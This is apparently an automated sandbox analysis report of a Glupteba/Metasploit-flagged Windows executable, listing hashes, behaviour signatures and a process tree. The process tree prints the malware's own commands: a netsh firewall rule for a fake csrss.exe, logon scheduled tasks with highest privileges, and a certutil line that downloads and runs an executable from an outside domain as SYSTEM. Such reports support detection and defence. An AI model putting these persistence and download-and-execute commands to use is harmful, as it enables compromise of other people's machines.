Analysis
-
max time kernel
171s -
max time network
196s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
-
submitted
29-01-2023 18:32
General
-
Target
869392632e94b6ad1da26063c2eae04638bc71711eb57af177594bb33a036b37.exe
-
Size
3.9MB
-
MD5
fca1d24ce1db0281ac1c6cdd76fb0882
-
SHA1
89164a3660a20bc0bbaa2af28a0c9455a77ee04d
-
SHA256
869392632e94b6ad1da26063c2eae04638bc71711eb57af177594bb33a036b37
-
SHA512
3a993568d878b22e91e4b17b1283ad3a82263cb01b8dc7e7a66a061d46941f2a4267f439942eaed7ee2123ac6c5e04095627dc43e077e681379fc50abfb1cc4e
-
SSDEEP
98304:zRgH8qwvzLOxmw8uzYoeEoYWODF45CJYhXj:2H8qIOxmuJeiDaEyX
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 9 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Windows security bypass 2 TTPs 10 IoCs
-
Executes dropped EXE 2 IoCs
-
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Loads dropped DLL 3 IoCs
-
Windows security modification 2 TTPs 10 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 3 IoCs
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies system certificate store 2 TTPs 7 IoCs
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
-
Suspicious use of AdjustPrivilegeToken 3 IoCs
-
Suspicious use of WriteProcessMemory 11 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\869392632e94b6ad1da26063c2eae04638bc71711eb57af177594bb33a036b37.exe"C:\Users\Admin\AppData\Local\Temp\869392632e94b6ad1da26063c2eae04638bc71711eb57af177594bb33a036b37.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\869392632e94b6ad1da26063c2eae04638bc71711eb57af177594bb33a036b37.exe"C:\Users\Admin\AppData\Local\Temp\869392632e94b6ad1da26063c2eae04638bc71711eb57af177594bb33a036b37.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129193343.log C:\Windows\Logs\CBS\CbsPersist_20230129193343.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
69KB
MD548d6d16f289f2f87b69dc0aa435d5b54
SHA1d3575906dad0ba16d407d3cf0c17b44033867d8e
SHA256fb965546158d0797062edf59175a5b722df7f793b36a5ca569ea402d227d3314
SHA512589c81cc3ca7db658770c427a303f7a8eeb2bfa7518b3b7acac78affc73a675aacc1fbd529f4260d89ee225bdb6493649b9410b2652bf10b1aa480db135c5fab
-
Filesize
3.9MB
MD5fca1d24ce1db0281ac1c6cdd76fb0882
SHA189164a3660a20bc0bbaa2af28a0c9455a77ee04d
SHA256869392632e94b6ad1da26063c2eae04638bc71711eb57af177594bb33a036b37
SHA5123a993568d878b22e91e4b17b1283ad3a82263cb01b8dc7e7a66a061d46941f2a4267f439942eaed7ee2123ac6c5e04095627dc43e077e681379fc50abfb1cc4e
-
Filesize
576KB
MD579d239e8c3993b4122bc6c69aa75b98e
SHA100b153573dbb5e073483ed20fa52c0e858ef50e3
SHA256416f2e005ca28fe636aa88cdf9a58d1301053d93a29d4201fb0eb711885b3e52
SHA51252c1a997f64b317071d37c114d3869055c5085802c1742ac7f471b6960671927707edf27ee44907912d47533a7c0be274279af1ab78fd1da3803c524af5a27ba
-
Filesize
3.9MB
MD5fca1d24ce1db0281ac1c6cdd76fb0882
SHA189164a3660a20bc0bbaa2af28a0c9455a77ee04d
SHA256869392632e94b6ad1da26063c2eae04638bc71711eb57af177594bb33a036b37
SHA5123a993568d878b22e91e4b17b1283ad3a82263cb01b8dc7e7a66a061d46941f2a4267f439942eaed7ee2123ac6c5e04095627dc43e077e681379fc50abfb1cc4e
-
Filesize
3.9MB
MD5fca1d24ce1db0281ac1c6cdd76fb0882
SHA189164a3660a20bc0bbaa2af28a0c9455a77ee04d
SHA256869392632e94b6ad1da26063c2eae04638bc71711eb57af177594bb33a036b37
SHA5123a993568d878b22e91e4b17b1283ad3a82263cb01b8dc7e7a66a061d46941f2a4267f439942eaed7ee2123ac6c5e04095627dc43e077e681379fc50abfb1cc4e
-
Filesize
8.1MB
-
Filesize
3.7MB
-
Filesize
8.1MB
-
Filesize
8.1MB
-
Filesize
3.7MB
-
Filesize
3.7MB
-
Filesize
8.1MB
-
Filesize
3.7MB
-
Filesize
8.1MB
-
Filesize
3.7MB
-
-
Filesize
8.1MB
-
Filesize
8.1MB
-
Filesize
3.7MB
-
Filesize
8.1MB
-
Filesize
8.0MB
-
Filesize
3.7MB
-
Filesize
8KB
-
-